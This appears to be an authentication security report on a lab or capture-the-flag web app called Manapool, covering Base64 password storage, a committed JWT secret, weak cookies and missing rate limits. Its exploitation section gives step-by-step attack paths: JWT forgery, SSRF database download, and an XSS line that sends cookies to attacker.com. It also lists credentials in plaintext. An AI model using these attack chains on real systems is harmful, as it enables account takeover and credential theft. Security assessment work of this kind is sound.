# Authentication Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Multiple critical authentication flaws were identified that enable complete authentication bypass and session hijacking.
- **Purpose of this Document:** This report provides strategic context on the application's authentication mechanisms, dominant flaw patterns, and architectural details necessary to effectively exploit the vulnerabilities listed in the exploitation queue.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Catastrophic Credential Storage - Base64 Encoding Instead of Hashing
- **Description:** The application stores passwords using Base64 encoding rather than cryptographic hashing. This is not a weakness—it is a complete absence of password security. The `stringToBase64()` function at `/frontend/pages/api/auth.ts:7-12` performs trivial encoding that can be reversed in milliseconds.
- **Implication:** Any attacker with database access (via SSRF at `/api/s3/../backups/manapool.db`, filesystem access, or memory dumps) can instantly obtain all user passwords in plaintext form. The admin password `Tm9FTlZNeGpHSzNOM2tH` decodes to `NoENVMxjGK3N3kG`.
- **Representative Findings:** `AUTH-VULN-01` (Weak Credentials - Base64 Password Storage)

### Pattern 2: JWT Secret Exposed in Version Control
- **Description:** The JWT signing secret (`2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU=`) is hardcoded in `/frontend/.env:1` and committed to the Git repository. This enables complete authentication bypass through JWT forgery.
- **Implication:** Attackers with repository access can forge JWT tokens with arbitrary user IDs, enabling impersonation of any user including the master admin (uid=9666) without knowing any passwords.
- **Representative Findings:** `AUTH-VULN-02` (Token Management Issue - JWT Secret in Version Control)

### Pattern 3: Missing Session Cookie Security Flags
- **Description:** JWT tokens are stored in cookies set client-side using the js-cookie library (`/frontend/app/components/LoginForm.tsx:30`), which cannot set HttpOnly flags. The cookies lack HttpOnly, Secure, and SameSite attributes.
- **Implication:** Tokens are vulnerable to XSS-based theft (accessible via `document.cookie`), man-in-the-middle attacks (transmitted over HTTP), and CSRF attacks (no SameSite protection).
- **Representative Findings:** `AUTH-VULN-03` (Session Cookie Misconfiguration)

### Pattern 4: Token Transmission in URL Parameters
- **Description:** JWT tokens are transmitted as URL query parameters (`/api/user?token=...`) in the session validation flow at `/frontend/app/actions/sessionManager.ts:9`, causing them to be logged in web server access logs, browser history, and potentially sent via Referrer headers.
- **Implication:** Tokens are exposed in multiple logging systems and persist in browser history, enabling session hijacking by anyone with log access.
- **Representative Findings:** `AUTH-VULN-04` (Token Management Issue - URL Parameter Transmission)

### Pattern 5: Complete Absence of Abuse Defenses
- **Description:** Authentication endpoints have zero rate limiting, no CAPTCHA, no account lockout mechanisms, and no monitoring/alerting for suspicious activity. The `/api/auth` endpoint accepts unlimited login attempts.
- **Implication:** The application is completely vulnerable to brute-force attacks, credential stuffing, and password spraying with no defensive measures to slow down or detect attackers.
- **Representative Findings:** `AUTH-VULN-05`, `AUTH-VULN-06` (Abuse Defenses Missing)

### Pattern 6: Client-Side Only Logout with No Server-Side Revocation
- **Description:** The logout mechanism (`/frontend/app/logout/page.tsx:9`) only removes the token cookie client-side via `Cookies.remove("token")`. There is no server-side logout endpoint, no token blacklist, and no revocation mechanism.
- **Implication:** Stolen or intercepted JWT tokens remain valid for the full 1-hour expiration period even after the user "logs out." Users cannot force-invalidate compromised sessions.
- **Representative Findings:** `AUTH-VULN-07` (Session Management Flaw - No Server-Side Logout)

### Pattern 7: Transport Layer Security Failures
- **Description:** The application runs exclusively on HTTP without any HTTPS configuration, SSL certificates, or HSTS headers. The Nginx configuration (`/nginx/nginx.conf:13`) listens only on port 80. Authentication responses lack `Cache-Control: no-store` headers.
- **Implication:** All traffic including credentials and JWT tokens is transmitted in cleartext, vulnerable to man-in-the-middle attacks. Authentication responses can be cached by browsers and proxies.
- **Representative Findings:** `AUTH-VULN-08`, `AUTH-VULN-09` (Transport Exposure)

## 3. Strategic Intelligence for Exploitation

### Authentication Method
The application uses JWT-based authentication with tokens stored in client-side cookies. The authentication flow:
1. User submits credentials to `POST /api/auth`
2. Server validates credentials via database lookup with Base64-encoded password comparison
3. Server generates JWT signed with HS256 algorithm using hardcoded secret
4. JWT contains minimal claims: `{uid: string, iat: number, exp: number}`
5. Client stores JWT in cookie named `token` with 7-day expiration (vs 1-hour JWT expiration)
6. Protected pages validate JWT by calling `GET /api/user?token=...`

### Session Token Details
- **Token Type:** JWT (JSON Web Token)
- **Algorithm:** HS256 (HMAC-SHA256)
- **Secret:** `2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU=` (committed to `/frontend/.env:1`)
- **Expiration:** 1 hour (`expiresIn: '1h'` at `/frontend/pages/api/auth.ts:47`)
- **Claims:** Only `uid` (user ID) - no role information in token
- **Cookie Name:** `token`
- **Cookie Expiration:** 7 days (mismatch with JWT expiration)
- **Cookie Flags:** None (no HttpOnly, Secure, or SameSite)

### Password Policy
The application has **NO password policy enforcement**:
- No minimum or maximum length validation
- No complexity requirements (uppercase, lowercase, numbers, special characters)
- No common password checks or breach database integration (HIBP)
- No password history tracking
- Server-side validation only checks string type - passwords can be any length including single-character
- Passwords are Base64-encoded (NOT hashed) and stored directly in the database

### Critical Attack Paths

#### Path 1: JWT Forgery for Admin Access (HIGH Confidence)
1. Obtain JWT secret from repository: `2kI0Zu7N6ptVPDurCTfqBGVCd+qpaSFO6m4/20SCZQU=`
2. Forge JWT with admin user ID: `jwt.sign({uid: "9666"}, secret, {expiresIn: '1h'})`
3. Set forged token in browser cookie: `document.cookie = "token=<forged_jwt>"`
4. Access `/adminpanel/profile` to view flag

#### Path 2: Database Access → Password Reversal (HIGH Confidence)
1. Exploit SSRF to download database backup: `GET /api/s3/../backups/manapool.db`
2. Query admin password: `SELECT password FROM users WHERE uid='9666'` → `Tm9FTlZNeGpHSzNOM2tH`
3. Base64 decode: `echo "Tm9FTlZNeGpHSzNOM2tH" | base64 -d` → `NoENVMxjGK3N3kG`
4. Login legitimately: `POST /api/auth` with decoded password
5. Access flag at `/adminpanel/profile`

#### Path 3: Brute-Force Attack (MEDIUM Confidence)
1. Enumerate valid emails from public team page or database
2. Launch unlimited brute-force attack against `POST /api/auth` (no rate limiting)
3. Test common passwords, credential stuffing lists, or password spraying
4. Gain access to any account including admin

#### Path 4: Session Hijacking via XSS (Requires XSS vulnerability)
1. Exploit XSS vulnerability (if found) to execute: `fetch('https://attacker.com/?c='+document.cookie)`
2. Steal JWT token from cookie (no HttpOnly flag)
3. Replay stolen token for up to 1 hour
4. Access victim's account

### Known Valid Accounts
| UID | Email | Password (Base64) | Plaintext Password | isMaster | Role |
|-----|-------|------------------|-------------------|----------|------|
| 9666 | will.rogers@manapool.com | Tm9FTlZNeGpHSzNOM2tH | NoENVMxjGK3N3kG | 1 | Admin |
| 3789 | nayla.sanches@manapool.com | dlQ2aW9PQkpJeWVLME8x | vT6ioOBJIyeK0O1 | 0 | User |
| 4890 | murilo.mac@manapool.com | TFFPbkxiSFFsMU1kNmJM | LQOnLbHQl1Md6bL | 0 | User |
| 6785 | chris.paulman@manapool.com | UmxsS1NoSE9MWFZCQ1Nh | RllKShHOLXVBCSa | 0 | User |
| 7771 | julia.mattarazo@manapool.com | b0pIT0diN3J4Qk91aTRy | oJHOGb7rxBOui4r | 0 | User |

## 4. Secure by Design: Validated Components

These components were analyzed and found to have robust defenses or proper implementation. They are low-priority for further testing.

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| **SQL Injection Protection** | `/frontend/app/db/sqlite.tsx:38,50` | Uses parameterized prepared statements for all database queries | **SAFE** |
| **Session ID Rotation** | `/frontend/pages/api/auth.ts:44-48` | Generates fresh JWT with unique `iat` timestamp on each login | **SAFE** |
| **JWT Expiration Enforcement** | `/frontend/pages/api/user.ts:31-33` | `jwt.verify()` properly rejects expired tokens (1-hour timeout) | **SAFE** |
| **User Enumeration Prevention** | `/frontend/pages/api/auth.ts:36-39` | Generic "Wrong credentials." error message for all auth failures | **SAFE** |
| **Open Redirect Prevention** | `/frontend/app/components/LoginForm.tsx:31` | Hardcoded redirect to `/adminpanel/profile`, no user-controlled destination | **SAFE** |
| **JWT Secret Entropy** | `/frontend/.env:1` | 256-bit secret has sufficient cryptographic strength (despite being exposed) | **SAFE** |
| **JWT Signing Algorithm** | `/frontend/pages/api/auth.ts:44-48` | Uses HS256 (HMAC-SHA256), a secure algorithm | **SAFE** |
| **Sensitive Data in Login Response** | `/frontend/pages/api/auth.ts:50-54` | Only returns JWT token, no sensitive user data exposed | **SAFE** |

### Additional Security Positives
- **XSS Protection:** React 18's automatic JSX escaping provides baseline protection
- **Input Sanitization:** Authentication endpoint uses `xss()` and `validator` libraries for email/password sanitization
- **Error Handling:** Generic error messages prevent information disclosure
- **CORS:** While wildcard (`*`) is dangerous, the API endpoints are properly isolated

## 5. Analysis Methodology Applied

This analysis systematically evaluated all authentication endpoints against the comprehensive white-box methodology:

### Transport & Caching (Checks 1)
- ✅ Evaluated HTTPS enforcement → **VULNERABLE**: HTTP only, no HTTPS
- ✅ Evaluated HSTS headers → **VULNERABLE**: Not configured
- ✅ Evaluated Cache-Control headers → **VULNERABLE**: Missing on auth endpoints

### Rate Limiting / CAPTCHA / Monitoring (Check 2)
- ✅ Evaluated rate limiting → **VULNERABLE**: No rate limits at any layer
- ✅ Evaluated CAPTCHA → **VULNERABLE**: Not implemented
- ✅ Evaluated account lockout → **VULNERABLE**: No lockout mechanism
- ✅ Evaluated monitoring → **VULNERABLE**: Only basic console.log statements

### Session Management - Cookies (Check 3)
- ✅ Evaluated HttpOnly flag → **VULNERABLE**: Cannot be set (client-side cookie)
- ✅ Evaluated Secure flag → **VULNERABLE**: Not set
- ✅ Evaluated SameSite flag → **VULNERABLE**: Not set
- ✅ Evaluated session ID rotation → **SAFE**: JWT rotates on each login
- ✅ Evaluated logout invalidation → **VULNERABLE**: Client-side only
- ✅ Evaluated idle timeout → **VULNERABLE**: Not implemented
- ✅ Evaluated absolute timeout → **SAFE**: 1-hour JWT expiration enforced

### Token/Session Properties (Check 4)
- ✅ Evaluated token entropy → **SAFE**: JWT uses cryptographically random secret
- ✅ Evaluated token protection → **VULNERABLE**: Transmitted in URLs, logged
- ✅ Evaluated token expiration → **SAFE**: Explicit 1-hour expiration
- ✅ Evaluated logout invalidation → **VULNERABLE**: Tokens not invalidated server-side

### Session Fixation (Check 5)
- ✅ Evaluated session ID rotation → **SAFE**: New JWT generated on each login

### Password & Account Policy (Check 6)
- ✅ Evaluated default credentials → **VULNERABLE**: 5 pre-seeded accounts with known structure
- ✅ Evaluated password policy → **VULNERABLE**: No enforcement whatsoever
- ✅ Evaluated password storage → **VULNERABLE**: Base64-encoded, not hashed
- ✅ Evaluated MFA → **VULNERABLE**: Not implemented

### Login/Signup Responses (Check 7)
- ✅ Evaluated error messages → **SAFE**: Generic messages prevent user enumeration
- ✅ Evaluated auth state in URLs → **SAFE**: No state leakage in redirects

### Recovery & Logout (Check 8)
- ✅ Evaluated logout → **VULNERABLE**: Client-side only, no server-side invalidation
- ✅ Evaluated password reset → **N/A**: No password reset functionality exists

### SSO/OAuth (Check 9)
- ✅ Evaluated OAuth flows → **N/A**: No SSO/OAuth implementation

## 6. Out-of-Scope Findings

The following issues were identified but are outside the authentication analysis scope:
- **SSRF Vulnerability:** `/api/s3/[slug]` endpoint has critical SSRF (handled by Injection Analysis)
- **Authorization Flaws:** Flag visibility check is client-side only (handled by Authorization Analysis)
- **Missing Security Headers:** No CSP, X-Frame-Options, etc. (handled by XSS Analysis)
- **CORS Wildcard:** `allowedOrigins: ["*"]` enables CSRF (handled by XSS/CSRF Analysis)

## 7. Confidence Ratings Explanation

All findings use the following confidence scoring:

- **High Confidence:** Direct code evidence with no alternate controls. Vulnerability is deterministic and clearly exploitable. Example: JWT secret in version control at specific line number.

- **Medium Confidence:** Strong indicators but one uncertainty (e.g., possible upstream control, conditional behavior). Signals mostly consistent but reasonable alternative explanation exists.

- **Low Confidence:** Plausible but unverified or weakly supported. Indirect evidence, no reproduction in target context, or inconsistent indicators.

## 8. Conclusion

The Manapool application has **catastrophic authentication security failures** across nearly every dimension of authentication security:

**Critical Failures:**
1. Passwords stored as Base64 (not hashed) - complete credential compromise
2. JWT secret in version control - complete authentication bypass
3. No rate limiting - unlimited brute-force attacks
4. No session cookie security flags - XSS-based token theft
5. Tokens in URL parameters - logged and exposed
6. No server-side logout - tokens cannot be invalidated
7. HTTP-only with no HTTPS - all traffic in cleartext

**Security Positives:**
1. SQL injection properly prevented via parameterized queries
2. User enumeration prevented via generic error messages
3. Session IDs properly rotated on login
4. JWT expiration properly enforced

**Exploitation Likelihood:** **CRITICAL** - Multiple high-probability paths to complete authentication bypass and account takeover exist. The combination of Base64 password storage + exposed database backup + JWT secret in version control creates trivially exploitable attack chains.

**Recommended Priority:** Immediate remediation required for production deployment. All critical findings should be addressed before considering this application production-ready.